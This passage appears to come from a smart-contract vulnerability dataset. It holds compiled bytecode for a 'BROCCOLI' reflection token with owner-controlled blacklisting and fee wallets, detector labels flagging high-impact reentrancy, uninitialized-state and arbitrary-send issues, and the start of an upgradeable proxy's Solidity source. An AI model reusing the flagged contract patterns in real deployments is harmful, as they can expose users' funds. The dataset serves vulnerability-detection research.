b600061076b610764611855565b848461185d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a54565b6108548461079f611855565b61084f85604051806060016040528060288152602001613d0d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611855565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227f9092919063ffffffff16565b61185d565b600190509392505050565b610867611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611855565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf8161233f565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243a565b90505b919050565b610bd5611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f42524f43434f4c494e55f09fa5a6000000000000000000000000000000000000815250905090565b6000610dcd610dc6611855565b8484611a54565b6001905092915050565b610ddf611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611855565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124be565b50565b610fa9611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550680ad78ebc5ac62000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115e057600080fd5b505af11580156115f4573d6000803e3d6000fd5b505050506040513d602081101561160a57600080fd5b81019080805190602001909291905050505050565b611627611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178c606461177e83683635c9adc5dea000006127a890919063ffffffff16565b61282e90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613d836024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611969576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cca6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d5e6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613c7d6023913960400191505060405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d356029913960400191505060405180910390fd5b611bc1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121bc57601360179054906101000a900460ff1615611e95573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d655750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611dab611855565b73ffffffffffffffffffffffffffffffffffffffff161480611e215750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e09611855565b73ffffffffffffffffffffffffffffffffffffffff16145b611e93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b601454811115611ea457600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f485750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f5157600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ffc5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120525750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561206a5750601360179054906101000a900460ff165b156121025742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120ba57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061210d30610ae2565b9050601360159054906101000a900460ff1615801561217a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121925750601360169054906101000a900460ff165b156121ba576121a0816124be565b600047905060008111156121b8576121b74761233f565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122635750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561226d57600090505b61227984848484612878565b50505050565b600083831115829061232c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122f15780820151818401526020810190506122d6565b50505050905090810190601f16801561231e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61238f60028461282e90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123ba573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61240b60028461282e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612436573d6000803e3d6000fd5b5050565b6000600a54821115612497576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613ca0602a913960400191505060405180910390fd5b60006124a1612acf565b90506124b6818461282e90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156124f357600080fd5b506040519080825280602002602001820160405280156125225781602001602082028036833780820191505090505b509050308160008151811061253357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125d557600080fd5b505afa1580156125e9573d6000803e3d6000fd5b505050506040513d60208110156125ff57600080fd5b81019080805190602001909291905050508160018151811061261d57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061268430601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561274857808201518184015260208101905061272d565b505050509050019650505050505050600060405180830381600087803b15801561277157600080fd5b505af1158015612785573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127bb5760009050612828565b60008284029050828482816127cc57fe5b0414612823576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613cec6021913960400191505060405180910390fd5b809150505b92915050565b600061287083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612afa565b905092915050565b8061288657612885612bc0565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129295750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561293e57612939848484612c03565b612abb565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129e15750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129f6576129f1848484612e63565b612aba565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a985750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612aad57612aa88484846130c3565b612ab9565b612ab88484846133b8565b5b5b5b80612ac957612ac8613583565b5b50505050565b6000806000612adc613597565b91509150612af3818361282e90919063ffffffff16565b9250505090565b60008083118290612ba6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b6b578082015181840152602081019050612b50565b50505050905090810190601f168015612b985780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bb257fe5b049050809150509392505050565b6000600c54148015612bd457506000600d54145b15612bde57612c01565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c1587613844565b955095509550955095509550612c7387600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612de98161397e565b612df38483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e7587613844565b955095509550955095509550612ed386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6883600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ffd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130498161397e565b6130538483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130d587613844565b95509550955095509550955061313387600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131c886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325d83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132f285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061333e8161397e565b6133488483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ca87613844565b95509550955095509550955061342886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134bd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135098161397e565b6135138483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156137f9578260026000600984815481106135d157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136b8575081600360006009848154811061365057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136d657600a54683635c9adc5dea0000094509450505050613840565b61375f60026000600984815481106136ea57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138ac90919063ffffffff16565b92506137ea600360006009848154811061377557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138ac90919063ffffffff16565b915080806001019150506135b2565b50613818683635c9adc5dea00000600a5461282e90919063ffffffff16565b82101561383757600a54683635c9adc5dea00000935093505050613840565b81819350935050505b9091565b60008060008060008060008060006138618a600c54600d54613b5d565b9250925092506000613871612acf565b905060008060006138848e878787613bf3565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006138ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061227f565b905092915050565b600080828401905083811015613974576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613988612acf565b9050600061399f82846127a890919063ffffffff16565b90506139f381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b1e57613ada83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b3882600a546138ac90919063ffffffff16565b600a81905550613b5381600b546138f690919063ffffffff16565b600b819055505050565b600080600080613b896064613b7b888a6127a890919063ffffffff16565b61282e90919063ffffffff16565b90506000613bb36064613ba5888b6127a890919063ffffffff16565b61282e90919063ffffffff16565b90506000613bdc82613bce858c6138ac90919063ffffffff16565b6138ac90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c0c85896127a890919063ffffffff16565b90506000613c2386896127a890919063ffffffff16565b90506000613c3a87896127a890919063ffffffff16565b90506000613c6382613c5585876138ac90919063ffffffff16565b6138ac90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220baeeca0adc2f2da1586056d291e52538e4f1c9ddb8f0421f87540dd1b527283a64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 611 |
0xFBacBc64E684c0C5Bf572Fc6d42458c3E3fd1d1D | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.6.12;
interface IWSFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IWSController {
function getLogicForPair() external view returns(address);
function getCurrentAdmin() external view returns(address);
function updatePairLogic(address _logic) external;
function updateCurrentAdmin(address _newAdmin) external;
function updateProxyPair(address _proxy) external;
function setAdminForProxy(address _proxy) external;
}
interface IWSProxy {
function initialize(address _implementation, address _admin, bytes calldata _data) external;
function upgradeTo(address _proxy) external;
function upgradeToAndCall(address _proxy, bytes calldata data) external payable;
function changeAdmin(address newAdmin) external;
function admin() external returns (address);
function implementation() external returns (address);
}
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal {
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () payable external {
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () payable external {
_delegate(_implementation());
}
}
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor() public payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) virtual internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
address implementation = _implementation();
require(implementation != newImplementation, "WSProxy: Attemps update proxy with the same implementation");
